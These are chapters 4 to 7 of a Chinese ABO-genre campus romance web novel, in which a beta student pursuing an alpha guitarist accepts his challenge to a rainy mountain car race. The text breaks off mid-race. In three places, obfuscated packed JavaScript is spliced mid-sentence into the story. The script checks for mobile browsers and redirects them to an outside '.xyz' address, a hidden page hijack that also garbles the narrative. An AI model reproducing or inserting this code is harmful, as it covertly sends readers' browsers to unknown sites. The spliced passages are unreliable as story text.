陆恪胸前抱着电吉他,跟着节奏摆动身体。修长的双手在琴弦上肆意的游走,动作干脆利落,琴弦振动,拨动出一串串音符。 在舞台上的陆恪似乎要更加肆意叛逆一些。 因为离舞台比较近的原因,千述能看清陆恪今天的穿搭。黑色的皮衣冷硬,里面是白色的背心,宽大的工装裤,斜缀着一条银色的链子。 看似随意的搭配,在陆恪身上总是更有一分感觉,是那种带着不羁,无所谓别人评判的随心所欲。 正如谢宁所说,千述和陆恪完全是两个世界的人。 如果用性格描述两个人,千述内敛沉默,平庸无趣,像是一潭没有波澜的死水。而陆恪肆意妄为,飞扬跋扈,像是熊熊燃烧的火焰。 水跟火又怎么会相融呢。 导播总能在舞台上找到那个最好看的孩子。 陆恪的脸出现在高清的大屏幕上的时候,下面的人都忍不住发出惊呼,这也太好看了吧。陆恪今晚化了妆,十分夸张大胆,是那种暗黑风的感觉。 上挑的眼线,加上小烟熏的眼妆,显得双眼勾人又神秘。涂得暗红的唇上,唇钉闪着银色的光泽。所有的一切在这张冷白的脸上,矛盾的适合, 像是折翼的堕天使,美好又脆弱,有那种很难言说的致命诱惑感。 堕天使引诱着人类靠近,利用人类的欲望,然后冷漠的看着人类走向堕落邪恶的道路。 会有人喜欢上陆恪实在是再正常不过了。 ...... “我承认陆恪这个人确实有几番姿色,千述会喜欢他也不无道理,美色面前你我皆是凡人。”谢宁拍了拍千述的肩,絮絮叨叨。 盛大的音乐节在陆恪的乐队表演完最后一首歌后,落下帷幕。人群散场,三三两两的走在一起,大家还沉浸在那个兴奋的氛围中,一路上都有人在不断的讨论。 学校论坛已经有人在开贴问A大音乐节最后那个乐队的电吉他手是谁了。 罗玉兰情绪也很高昂:“我咋记得陆恪不是这个风格啊,今天晚上有点......”,罗玉兰一时有些说不上来,她在这方面的词汇总是很匮乏。 “病娇!”谢宁适时补充道。 “对对对!病娇,差点没认出来,变化有些大了。”罗玉兰道。 罗玉兰对陆恪印象不深,停留在新生晚会上,那个拉小提琴的男生这一初印象。还是因为寝室里千述在追他,罗玉兰才记住了这个人的名字。 当时新生晚会上,陆恪穿着西装,跟个小王子一样,看着矜贵的很,与今天这个张扬叛逆的人完全是天差地别,也不怪罗玉兰没认出来。 千述很安静,只在一旁听着。 谢宁用手在她面前晃了晃,揶揄道:“你这是被美色迷了心智吧,话都不会说了。” “你说陆恪好不好看?”谢宁打趣千述。 “好看。”千述回答,尽管面上没太多感情,但是你能看出来她并没有说谎。 向曼青走在千述旁边,不紧不慢道:“既然好看,那你订的花还不给人送去?” 千述:“?” 她这才想起自己给陆恪订了花,准备在音乐节结束以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073209|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送到后台。但是听她们聊着天,千述完全将这件事忘记了,现在她们都快走到宿舍大楼了。 罗玉兰笑了,吐槽道:“千述你追人到底有没有用心。” “果然时间久了,感情会淡,连追人都逃不过这个亘古不变的定律,古人诚不欺我。”谢宁也在旁边附和。 “古人什么时候说过这句话?”罗玉兰反问。 “梦里。”谢宁悠悠然的回复。 罗玉兰翻了个白眼。 两人一唱一和,千述也没去反驳。她打开手机,才看见,原来外卖小哥已经给千述打过电话了。但音乐节现场声音太大,千述没听见,小哥就给放在了外卖柜里。 “我去拿花了,你们先回宿舍吧。”千述跟大家说了声,就往外卖柜去。 返回音乐节现场的时候,人已经走光了,只剩下一些工人在拆除舞台的设备。 现在的场景让人觉得十分割裂,在半个小时前这里还是人声鼎沸,欢声笑语的音乐节,半个小时后以后,就变得灯光昏暗,夜风习习。 千述停顿了一下,就往后台走去。 她不太确定陆恪是否还在后台,因为这附近已经没有太多人了。 千述觉得自己今晚可能白跑一趟,但也无所谓。 千述往后台走去,尽管里面还亮着灯,但确实是没什么人了,四周都是空荡荡的,显得十分冷清。 看了一圈,没有看到人。陆恪可能已经离开。 走到休息室的门口,千述停了下来,这道门是关上的。休息室一般就是给出演的嘉宾准备的房间,可以休息,或者更换衣物。 “有人吗?”千述轻轻敲响房门,三声,像是设置好的程序一般。 里面没有声音响起,等了片刻,千述才将门推开。 alpha信息素的气味瞬间扑面而来,让人猝不及防。是那种火焰燃烧木柴,又不充分,产生的那种呛人的,烟熏火燎的气味。 千述怔了一下,眉心微微蹙起。 相较于omega甜腻的信息素,alpha的信息素攻击性更强,更为急躁。除了omega,alpha的信息素排斥任何生物的靠近。 只要稍微近一些,都会感到威胁不适。 屋内信息素的浓度太高,霸道的抢占着空气,门一打开就争先恐后的向外面涌去。休息室内又没有智能空气循环系统,所以整个休息室里都是alpha信息素的气味。 beta虽然不能产生信息素,也没法和AO之间进行信息素标记。但是她们可以闻到AO的信息素。只是简单的闻着,不会产生任何性.欲,对自身也没有太大影响。 但千述不太喜欢这个信息素的气味,太过于霸道野蛮。 千述抬眼看向屋内,沙发上坐着一个人,他仰靠在椅背上,紧紧闭着双眼,睫毛不住的颤动。空气似乎变得灼热,让人难以呼吸。 喉结自上而下的滑动,短促而迅速。薄唇微张,低低的喘息。 莫名的性感。 门被推开,陆恪睁开双眼看向门口。他的眼尾因为蒸腾的欲望,控制不住的泛红,艳丽又颓靡,让人忍不住抬手轻轻摩挲他的眼尾。 陆恪瞥了一眼门口的身影,凝视她片刻,终于厌烦的出声: “滚出去。” 5. 第 5 章 火红色的头发太过于显眼,很难不被他吸引,千述心想。 千述站在门口,沉默半响,然后抱着花走了进去。她将门关上,没有反锁。 看到千述走了进来,陆恪缓缓坐直,眼神带着不耐烦。 陆恪没有卸妆,还穿着舞台上的衣服。在舞台上还看不太真切,现在近了很多,他的眉眼看起来更加的锐利冷峻,颇有一种孤傲糜烂之感。 “叫你滚出去,你听不懂人话吗?”陆恪的声音低沉冷漠,语气差得要命。 “你的易感期到了。”千述语气冷静。这样显而易见的事情,不需要千述指出来。 陆恪几乎被千述这句话气笑,他唇角微勾,冷笑一声,漫不经心的抬眼看着千述。他的眼尾似乎更红了,被欲望沾染。 现在陆恪确定面前这个女人是beta,只有beta才能在AO的信息素下安之若素,全然没有任何的窘迫。 “所以呢,你想帮我?”陆恪缓缓一笑,眼中却是冰冷。 他上下打量面前的女beta,身形清瘦高挑,皮肤白皙清透。戴着黑框眼镜,额发微微散乱,看着就像是在学校里只会乖乖读书,认死理的女学霸。 她的眼神没有太多情绪的。 “可惜,我不喜欢和beta上.床。”陆恪薄唇微启,慢悠悠的说着,略带挑衅,“没意思。” 信息素仿佛是有生命的,它们缠缠绕绕的围在千述周围。那些像火焰燃烧一样炽热的信息素,将千述紧紧包裹,似乎在绞杀猎物,又似乎是在抚慰。 只是千述对此并无感觉。 两人的目光纠缠在一起,仿佛在对峙,又好像不是。 陆恪拿出抑制剂,注射在脉搏中。他低着头,从千述的位置,看不清陆恪的脸,只能看见他的后颈,在红发的映衬下更显白皙。 冰凉的抑制剂进入身体的感觉并不好受,它顺着血管迅速进入人体的四肢百骸,然后翻涌的信息素逐渐平息下来。 这是一种很微妙的感觉,就像是快要喷发的火山,岩浆沸腾,但是突然被冷却,可在最深处炽热的岩浆仍旧在蠢蠢欲动。 “我是来给你送花的,祝贺你成功完成演出。”千述看向陆恪,对他方才的冷嘲热讽毫不在意。 千述怀里抱着一束花,白色的小苍兰中间点缀着几多粉色的郁金香,看起来粉粉的,柔和美好。 “你们乐队今晚演奏的歌,我也很喜欢,听过很多次。”千述道。 其实并没有,刚刚才听歌识曲知道的歌名。 “我需要吗?”千述的话还没说完就被打断。陆恪利落的站起身,走到千述面前。 “什么?”千述微微一怔,那双黝黑的眸子看向陆恪。 因为注射了抑制剂的原因,alpha腺体内的信息素不再向外翻涌。但是陆恪浑身霸道的信息素气味短时间内很难消散。 千述眉心微蹙,想要后退,又硬生生停住动作。她抬眼看着陆恪,漆黑的双眸不见波澜。 陆恪比千述高出很多,他的身高比很多alpha都要高。尽管千述并不矮,但是在陆恪面前还是显得有些娇小。 陆恪低头瞥了一眼千述怀中的花,漫不经心的语气:“我说,我需要你给我送花吗?” 很难想象陆恪这样冷硬的人,怀中抱着这样一束粉嫩的花。 “无论是给我送药,还是在教学楼外面给我递情书,或者是现在送我这样一束破花。” 陆恪定定的看着千述的眼,细数千述这一年为陆恪做过的事情。 “我需要吗?”陆恪微笑着看着千述,语气中带着讽意。 他们两人实在是靠得太近,近得千述几乎能看见陆恪轻颤的睫毛。他五官没有任何的缺点,鼻梁高挺,下颌棱角分明,尤其是一双眼睛,最为突出。 良久,千述才开口:“我只是喜欢你,所以才做这些事情。” 千述并没有因为陆恪的刁难就变得怯懦,她很平静又认真的向陆恪诉说着自己的喜欢。 “你的喜欢是什么很珍贵的东西吗?”陆恪反问。 他眉梢微挑,嘴角勾勒出一丝冷笑,“你的那些追人的手段,老套又毫无诚意,对任何一个人都适用。” 陆恪微微低头,直直盯着千述的眸子,笑问:“这就是你说的喜欢?” 随后他收了笑,面色一下子变得冷漠起来:“那还真是廉价。” 说完陆恪便转过身去,不愿再看千述,似乎连多看一眼都在浪费他的时间。 休息室的氛围瞬间凝滞,空气就这样僵持着,两个人都没有说话。 千述顿了一下,许久才启唇解释道:“我第一次喜欢,追求一个人,可能有些方面做得不好。” 随后千述又抱着花走到陆恪面前,直白问道:“那你要我怎么追你,你才会答应呢?” “只要可以和你在一起,我愿意付出许多。” 在说这些话的时候,千述坦然自若。哪怕是你细细的盯着她的眼睛,都不会发现她有半分心虚。 就好像如她所说的,她第一次喜欢一个人,她愿意为此付出。 可是真话谎话谁又分得清呢? 陆恪并没有因为千述这番推心置腹的话语就感到动容。相反,他探究的眼神看着千述,分辨她的话里有哪句是真的,那句是假的。又或者全是假的,没有一句真话。 “你只喜欢过我一人?”陆恪抓住千述其中一句话反问道。 千述轻轻点头,回答:“是的,你是我第一个喜欢的人。” “呵——”陆恪勾唇一笑,慢悠悠的说,“别装过头了。这种谎话骗骗别人也就算了,别把自己也给骗了。” 陆恪不愿意在这个蠢问题上纠结很久,毕竟千述在外面打造个纯情人设无可厚非。至于是真是假,自己心里清楚明白就好。 休息室内的信息素已经消散得差不多了。对比刚才浓烈到让人觉得呼吸一口,都十分灼热的信息素,现在已经温和许多,像是散发着微热的火星子。 感受到体内的信息素归于平静,陆恪拿着自己的东西就往外面走。他一把拉开门,又站住。这后台已经彻底没人了,体育场中的舞台早就被拆除干净,什么也没有了。 世界上没有恒久的快乐,平静无趣才是生活的基调。 陆恪停下了脚步,他看向黑夜,眼中闪过很多东西,意味不明。 这些情绪或许连陆恪自己都搞不清楚,因为他很难解释当时自己为什么要定下这个赌约。到底是想让身后的女beta知难而退,还是想给她微渺的希望。 “三天后,来翠云山。”这里太安静,陆恪的声音格外清晰,传到千述的耳朵里。 翠云山有一段废弃的盘山公路,弯多又窄,现在基本没人用了。但这成了很多飙车党的打卡地,时常从山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073210|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里传出轰鸣声。 他声音微微上扬,语气傲慢,带着盛气凌人:“如果你赢了,给你一个追求我的机会。” 千述看着陆恪挺拔的背影,问道:“如果输了呢?” “输了就滚远点,不要出现在我的面前。”陆恪的嘴是真就跟淬了毒一样。 千述沉默,思考了一会儿。她已经追了陆恪一年,但是没有任何进展。父亲那边快没了耐心,不如就此赌一把,若是赢了关系才能更进一步。 千述的犹豫,让陆恪变得不耐。他想,这个女beta果然很会骗人。什么只喜欢他一个人的狗屁话,都是随口说出来骗人的。 陆恪嗤笑一声,语气变得冰冷:“怎么,这点胆子都没有吗?” “我会来赴约的,希望你也能遵守承诺,给我一个机会。”千述直直的盯着陆恪。 “你赢了再说吧。”陆恪似笑非笑,眼底却没有笑意。 随后陆恪便不再说什么,背影渐渐融入黑色中。尽管如此,那头烈焰红发依旧张扬肆意。 ...... “什么?!让你去飙车!”谢宁的声音在关灯的寝室简直是震天响。 罗玉兰掏了掏耳朵,无奈道:“谢宁你小声点,注意分贝,现在已经熄灯了。” 寝室已经熄灯,陷入一片黑暗。每个人都躺在自己的床上,然后躺着聊天。主要还是谢宁好奇今晚千述和陆恪聊了什么,这么久才回来。 现在谢宁已经有点怒火中烧了。 “他这不是纯心为难人嘛!怎么这么过分啊,搞这么危险,真是无语了。”谢宁压低声音,咬牙切齿道,语气硬邦邦的。 随后,谢宁语气染上担忧:“你车技一般再加上不熟悉那边的路,怎么可能会赢?!” A市地铁四通八达,去哪里都方便。谢宁从来没见过千述开车,在学校。 “谁说千述车技一般了。”黑暗中向曼青的声音响起,带着笑意,“和平精英开车不是技术挺厉害的嘛。” 她们寝室在游戏里四排的时候,确实是千述经常开车,带她们去找空投箱。最刚开始千述不会玩这个游戏,她们拖着她玩,后来发现她开车技术贼六。 寝室里的空气沉默了几秒钟,有一种乌鸦在寝室乱飞的抽象感。 “……向曼青你是不是有病啊?!我以为你要说什么有用的话。”罗玉兰无语,一头黑线,她刚刚真的有很认真在思考的。 寝室突然发出一阵爆笑,大家都笑得不亦乐乎。刚刚还有些义愤填膺的氛围,因为向曼青的打岔变得轻松起来。 寝室里的三人都在积极给千述出主意,但其实也没有更好的办法。 夜很深的时候,千述也没睡着。 她的床帘是遮光的,里面亮着小夜灯也不会影响其他人睡觉。千述就保持着一个动作,安静的看着床帘顶。 许久她才翻动身体,变成侧卧,蜷成一团,这是一个很没有安全感的姿势。 千述从枕头下面拿出一张照片。 照片上高大的男人和瘦弱的女人站在千述身后,千述带着黑框眼镜,穿着校服站在他们中间,背后则是S市三中的校门。 照片里千述有些拘谨的抿着唇,身后的女人温和的笑着,她的手扶着千述的肩。唯有旁边的男人似乎不太高兴,面无表情的看着镜头。 千述沉默的看着这张照片,眸光黯然了几分。 6. 第 6 章 方知明和陆恪玩在一起这么多年,陆恪喜欢飙车,方知明是知道的。 准明确来说,陆恪不是喜欢飙车,而是喜欢那种极限,心脏疯狂跳动的感觉。 他甚至有些病态迷恋这种感觉,好像只有在这种生命面临极限,又劫后余生的惊心动魄中,陆恪才能片刻的感受着自己还活着。 “陆哥,你和她玩真的啊!这不太好吧。”方知明看着岛台边的人,迟疑的问了一句。 方知明有点不太理解陆恪这样的做法,因为在方知明看来,陆恪大可以直接拒绝,没有必要弄个比赛出来。 再说那条盘山公路危险,方知明跟着跑过几次,路一侧是又高又陡的斜坡,看着怵人的很。要是连人带车滚下去,那是要出人命的。 “有什么不好的?”陆恪斜眼看过来,丹凤眼锐利,满不在乎的语气。 他穿着睡袍,手上拿着杯冰水,一饮而尽。 陆恪现在住的地方是位于A市市中心的一套大平层里,这里的房价贵得离谱。他自从上大学就从家里搬了出来,如果不是重要节日,基本不会回家。 看着陆恪一醒来,就是喝的冰饮,方知明都替他觉得胃疼。 陆恪不太爱惜自己的身体,其实从他的行事作风就可以看出来。方知明有时候看不过去了会说两句,但是陆恪一般不听。 “腿长在她自己身上,她自己要来,又不是我逼她的。”陆恪将杯子放下,又大发慈悲的说,“你若是心疼她,你就替她比赛,赢了一样作数。” 方知明连忙摇头:“算了算了,我可赢不了你,也不想和你比赛。” 方知明是最知道陆恪这个人的,应该说在A市的上流圈子里的孩子,没人会不认识陆恪。只是方知明更幸运一点,和陆恪在初中的时候是同班同学。 那个时候方知明对陆恪的印象就是性格古怪乖戾,学校里没人敢惹他,比现在更甚。 陆恪初中那会儿,总是独来独往,不爱说话。他几乎不怎么学习,很少来学校。就算来了也只是趴着睡觉。 有一次陆恪来学校的时候,脸上都是伤,嘴角溢出鲜血。把老师给吓坏了,忙给校医打电话,又要通知陆恪的家人。 那次陆恪态度特别激烈,直接夺过老师的手机砸在墙上。 “滚!我不用你们管!”陆恪几乎是目眦欲裂,情绪起伏很大。 青少年时期的陆恪很清瘦,他穿着黑色的T恤,在满是穿着蓝白校服的同学中就像是一个异类。 陆恪擦了擦嘴角的鲜血,看着老师,神情阴郁:“我不用别人管。” 在场的老师同学都被陆恪给吓懵了,里面也包括凑热闹的方知明。因为那个手机就从他面前摔出去,差点砸方知明头上。给他吓得,真想喊阿弥陀佛。 再后来,陆恪又很久没有来上学,那天是他家里的管家将他接回去的。 不过听说第二天陆家就派人来学校赔礼道歉,只是陆恪没有出面。 和陆恪熟悉起来,是他们上初三的时候,在此之前方知明几乎没有和陆恪说过话。 那会儿方知明家里还没有现在这般光景,在有钱人扎堆的A市一中就是个小透明。再加上方知明性格软,安静的很,所以就被学校的那些纨绔子弟给盯上了。 他们最开始只是威胁方知明交保护费,方知明想着息事宁人,就交了。可是到后面越交越多。 方知明他爸每个周给的零花钱是固定的,到后面就是全部交了保护费也不够。方知明又不敢跟家里人说,有一个周就交不上保护费了。 然后被堵在学校附近的巷子里。 五个人围着方知明一个人,方知明知道自己打不过,就在挨打的时候抱着头,以免伤到重要部位。 被打的滋味方知明说不上来,就是感觉有些痛,身体变得麻木。只想着什么时候他们才肯停手,快些结束。 “喂,你们五个打一个,太丢人了吧。”巷子外面有声音传来,清越干净。 霸凌的五个人转过头去,看见巷子外走进来一个高挑的身影。陆恪在初三的时候个子猛涨,已经超过了学校里大部分人的身高。 虽然身高已经像一个成年人,但是身形还是少年人那种独有的修长瘦削,像嫩生生的青竹。 陆恪挑眉看着面前的五个人,随后又瞥了一眼地上躺着的穿校服的人。站在原地,压迫感极强。 “关你屁事。快滚,不然连你一起打!”为首的人指着陆恪,语气颇为嚣张。 这几个人也是一中的,他们虽然知道陆恪,但是没有见过他。因为陆恪神龙见首不见尾,很少在学校里来。只有其中一个人远远见过陆恪一次。 他越瞧着这个人越熟悉,尽管陆恪没有穿一中的校服,但是他的这张脸还是极具冲击性,让人见了一面就很难忘记。 “打我?”陆恪似乎听到了什么好笑的话,他将手中的书包随意扔在地上。 陆恪招了招手,漫不经心的说:“来,你们一起上,不要浪费我的时间。” 听到陆恪这嘲讽的话,几个人瞬间被点燃怒火,捏着拳头就向他冲了过去,唯有一个人有些迟疑。等他最后想起来面前这人是谁时,已经来不及。 两方打得不可开交。 陆恪打人很猛,拳拳到肉。他很疯,打起人来就像是没有理智一般。完全是在发泄自己的情绪,又刚好有没长眼的傻子撞上枪口。 或许是有人替他出头,方知明的胆子也变大了一点。他在后面紧紧抱着一个人的肩膀,让其无法动弹。然后陆恪趁机给了那人下巴一拳,牙都给人打掉了半颗。 尽管陆恪这边才两个人,却不落一丝下风。最后还是路过的人听见里面的动静,报了警,几个人才被带到了警局。 因为这起事件被定义为互殴,再加上几个人都还没成年。最后就被帽子叔叔口头教育了几句,然后叫监护人来接。 方知明他爸来接的他,看见方知明脸上青一块紫一块的,才知道他被霸凌的事情。过了几天方知明他爸就带着方知明,准备了礼物来陆家拜访道谢。 那几个霸凌的学生也被开除。 后面方知明和陆恪的关系就逐渐好了起来。 所以说,方知明才不想和陆恪比,他那个疯劲儿,一般人制不住。 ...... 三天期限已到,千述开始收拾东西往翠云山去,他们约定的时间是下午两点。 向曼青她们三个也跟着来了。 尽管千述说,这不是什么大事,不用那么兴师动众,要全寝室都来。但是她们三个仍旧执意要来。 “哎呀,你别管我们,你就专心比赛就行。”谢宁收拾东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073211|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮阳伞,防晒霜,充电宝,一应俱全,就是铁了心要去的。 罗玉兰也道:“对啊千述,真不用管我们,我们就是来给你拍照的!” 千述定定看着向曼青,希望她能劝劝这两个。向曼青摊摊手,表示爱莫能助。 其实千述知道,她们三个只是担心她独自在那边出了事,没人照应,才想着过去陪着她。什么给她拍照,只是托词罢了。 最后寝室四个人一起去了。 今天天气一般,早上还有点阳光,到了下午这会儿天就开始阴了下来,还刮着风,凉飕飕的。 千述裹紧了自己的衣服,往校门口而去。 手机里有人发了消息过来,千述将手机打开,看着置顶发来的消息。然后抿了抿唇,陷入长久的沉默。 拿着手机打了很长一段字又删除,删删写写很多次,也没将信息发出去。最后实在不知道要回什么,千述将手机屏幕熄了,揣在兜里。 翠云山那边有点远,也不好打车,她们四个人是开的是向曼青在A市买的二手马自达。 向曼青开车,谢宁坐在副驾驶位。千述和罗玉兰坐在后面。 看着外面的天气,罗玉兰皱了皱眉,道:“这天气看着有点太阴沉了吧,等会儿怕是要下雨?” “我看看。”谢宁拿着手机看天气预报,回复道:“我这边的天气预报说今天不下雨。不知道准不准。” “希望准吧,下雨的话路况就太复杂了。”罗玉兰心里有点不安。 千述还沉浸在方才的那条微信中,有些神思不属。她扭头看着车窗外,因为已经在往郊外走了,所以这边都是平房,看着一望无际,透露出苍凉灰败。 或许是因为天气的原因,也或者是因为心情。千述垂下眼睫,看不清她眼底的情绪。 到了翠云山这边,树木开始变得苍翠葱浓。道路两边全是树,有阳光的时候看着还好,现在阴天就有些吓人。 山脚下有个废弃的厂,比较空旷,大门早八百年就不知道都被谁卸了。里面已经停了几辆车,色彩鲜艳,线条流畅,有几个人靠着车门抽烟。 千述几人下车的时候,他们几人齐齐看了过来。 陆恪手中夹着烟,有个男人给他点火。火苗舔舐烟头,陆恪懒懒的吸了一口,才抬头看向千述。 “你来了。”陆恪看向千述,语气懒洋洋的,“你的车在那边。” 陆恪随手一指,是辆黑色的车,车头上画着银色的闪电,看着价格不菲。这车也是陆恪的,他车库里有很多车,无所谓的。 千述没说什么,朝他走了过去。两人四目相对,陆恪挑眉一笑,带着顽劣。 这是挑衅,但千述不为所动。 当与陆恪对视的时候,千述不得不承认,陆恪长了双极为标志的凤眼。 眼尾微微上挑,看人的时候总给人一种矜贵,高高在上的感觉。再加上陆恪的眼睫浓密,画了眼线一般。 所以每次千述与他对视时,都忍不住感叹造物者的偏心。在这样一个糟糕的人身上,描绘出这样一双勾人的眼睛。 “怕了?现在想认输还来得及,从此离我远一点。”陆恪薄唇轻启,带着点嘲讽的弧度。 千述并没有恼怒,她墨黑的双眼直勾勾的凝视着陆恪。 “希望你能遵守你的承诺。” 7. 第 7 章 今天除了陆恪和千述,还有另外三个人也来参加比赛,他们都是陆恪和方知明的朋友。也就是来凑个热闹的,倒没有要和千述一决高下的想法。 只是在赛场上,能力见真章,没有礼让一说。 引擎的轰鸣声震耳欲聋,简直要冲破天际。跑车穿梭而过,裹挟着剧烈的狂风,像是锋利的刀刃,刮得人脸生疼。 从发车信号的发出,真正的角逐已经开始,气氛瞬间被点燃。 陆恪的速度很快,几乎是一马当先,把别人甩在身后。别的车才刚开始启动的时候,陆恪的车已经在第一个转弯处,只能看到跑车的尾气。 这边没参加比赛的还有方知明,他前几天因为挂科太多,被他爸在书房里训斥一顿,这次出来还是偷溜出来的。 不敢和以前一样大摇大摆开家里的车。 几个人远远看着盘山公路上飞驰的跑车,心中不禁咂舌,这也太危险了些。 陆恪一直是他们几个人中速度最快的,他对这条路很熟悉,几乎是猛踩油门,甚至在大转弯的地方还来了一个帅气的漂移,车尾甩出完美的弧度。 令人比较意外的是,紧紧追在陆恪身后的是那辆黑色的车,是千述。 她只是起跑慢了些,后面的速度那是快得惊人。不论是直道,还是转弯,千述油门都不带松一下。跟在她后面的车几乎是胆战心惊,因为车的速度太快,甚至给人一种车辆腾空而起的错觉。 车辆仿佛一柄利刃,将空气划开。 风在耳边呼啸,心脏在胸腔中疯狂跳动,这是身体极为兴奋的表现,但是千述面上却依旧平静自若。她的眼神专注而坚定,紧紧的盯着前车,找机会反超。 千述已经有些厌烦了这样追逐的感觉。 在过去的一年里。 千述是全身心的在追求陆恪,几乎是搞得A大人尽皆知。很多人说她想吃天鹅肉,说陆家是什么门第,岂是她这样的小门小户的人家可以攀得上的。 又说她一个beta,平凡普通,怎么就想不开插进AO之间的关系中。 对此,千述没有说过任何一句为自己辩驳的话。 她想,她已经很努力的去接近陆恪,去追求他。可是陆恪几乎是软硬不吃,性格还十分差劲。 千述耗费了一年多的时间在这个人身上,并且得不到任何回报。 她的手紧紧握住方向盘,右脚踩着油门,车身快速往前飞驰。漆黑的双眼平静如不再流动的死水,她的眼神没有一刻的游移,整个人的精神高度紧绷中。 天气越来越阴沉了,乌云黑沉沉的压下来,将整片碧云山笼罩着。天空好像被割裂成两半,头顶是浓云翻滚,暗沉如墨。但是往远处的天际看,竟然还能看见湛蓝的天空。 狂风吹得树枝疯狂摇曳,树叶沙沙作响,仿佛在为即将来临的暴风雨奏响前奏。 山脚下的废旧工厂,铁皮被吹得哗哗作响,方知明、向曼青几人已经躲进了屋子里。因为这里经常有机车爱好党,所以筹钱修缮过,基础设施还是完好的。 罗玉兰看着外面狂风大作,心里实在是放心不下,问道:“这到山上大概要多少时间啊?” “一般开上去,速度快就半个小时左右。”方知明回答。 他们这次的比赛是以山脚到山上的时间进行比较,谁速度最快,时间最短,谁就是这场比赛的胜利者。 这条路方知明也跑过好几次,知道这里急弯多,陡坡多。他看着外面的天气,心里其实也有点虚,天气晴朗视野好的时候,跑起来尚且不容易。 若是下雨,那危险系数简直是直线飙升。 “他们开上去,还要下来,这来回就一个小时了。我看这雨马上就要下的样子。”谢宁站在窗边忧心忡忡。她又想起那个鬼天气预报,吐槽道:“什么天气预报,一点也不准,气死我了。” “你看的是A市城区的天气预报,那边确实没下雨。只是这碧云山在郊区。”向曼青看着天上黑云,紧皱眉头。 向曼青的话语才刚刚落下,豆大的雨滴砸在屋顶的铁皮上。仿佛密集的鼓点,急促又有力,敲击着所有人的耳膜。 ...... 第一滴雨砸落在车窗上时,千述正在过一个曲折的弯道。 下雨并不能阻挡跑车的风驰电掣,进入弯道时,千述没有降速,轮胎和地面的摩擦发出刺耳的声音。凭借着超强的抓地力和动力,车辆沿着弯道的轨迹,迅速划过。 出了弯道,千述又看见前面那辆红色的的跑车,像烈焰般熊熊燃烧。哪怕是在这样阴森湿冷的山上,这辆车依旧亮眼,似乎要烧毁所有的黑暗。 陆恪的速度实在太快,哪怕千述跟在他的后面死死咬住,但是依旧没有办法超越。 现在已经走了四分之三的路程,还有几分钟就快要抵达山顶,意味着这场比赛即将结束。如果千述输了,那么她和陆恪将再没有机会。 沉没成本太大,这并不是千述想要看到的结果。 雨越来越大,从刚刚的几滴硕大的雨点到后面愈发密集,形成倾盆之势。天际好像豁开一个口子,将雨水倒灌在这大山之中。山上更是狂风大作,树枝被吹得东倒西歪。 陆恪又进入了一个大急弯,转眼间就消失在千述的视线中。哪怕雨越下越大,陆恪依然重重的踩着油门,速度快得像闪电一般,溅起高高的水花。 天色突然变得很暗。山上没有路灯,视野更是模糊不清。又因为下着雨,路面上全是溅起的水雾,打开车灯,眼前更是一片雾蒙蒙,完全看不清楚前方。 现在的环境已经不再适合驾车,视野受限,很有可能就坠落山崖。 在这样的极端环境中,驾驶舱内的陆恪眼神却越来越亮。他嘴角微微扬起,面容仿佛焕发着生机一般,越发摄人心魄。 随着肾上腺素的飙升,陆恪仿佛能够听见心脏缓慢跳动的声音,一下又一下,简直震耳欲聋。他现在已经不再是为了赢,而是在寻求濒死的快感。 确实,于陆恪而言,活着并没有太大的意义。 雨太大,哪怕雨刮器快速的运作,但是下一秒又会被雨水覆盖视野。千述逐渐放慢了车速,她不是为了输赢拿自己的生命去冒险的蠢货。 现在离终点已经不超过三公里的路程,但是路况却格外复杂。迎面而来的是一个长陡坡,坡度高,路也烂。再开过一个大弯道,直行。便会柳暗花明到达山顶。 看着前方车速不减的红色超跑,千述眉心微蹙。陆恪现在的行为简直就是在作死,他完全不顾惜自己的生命。暴风雨中的烈焰超跑,似乎变得更加明亮。 它成为了这昏暗的天地间,唯一一抹刺眼的亮色。 碧云山上树木葱郁,树叶遮天蔽日的,很多地方便缺少阳光的照射。在加上现在正是气温回升的时候,年久失修的盘山公路上便长满了青苔。 现在又下着雨,车辆十分容易打滑。 陆恪那辆红色的超跑已经冲上了长陡坡,引擎轰鸣的声音夹杂在雨声中依旧十分响亮。 雨太大,形成水流从坡上湍急的往下流淌。犹如逆水行舟,红色超跑往上行驶,撕开水流。 天空隐隐有闷雷声响起,像是天际的大鼓被重重敲响,由远及近,带着不可阻挡的力量。 心里的第六感告知千述,应该立刻离开,不要再继续往前。 在这样恶劣的天气中,输赢已经没有那么重要了。现在的当务之急,就是赶快下撤,这山里太危险,尤其是这么大的雨,很有可能还会有突发性的泥石流。 陆恪已经冲到一半,他仍旧在加大油门, 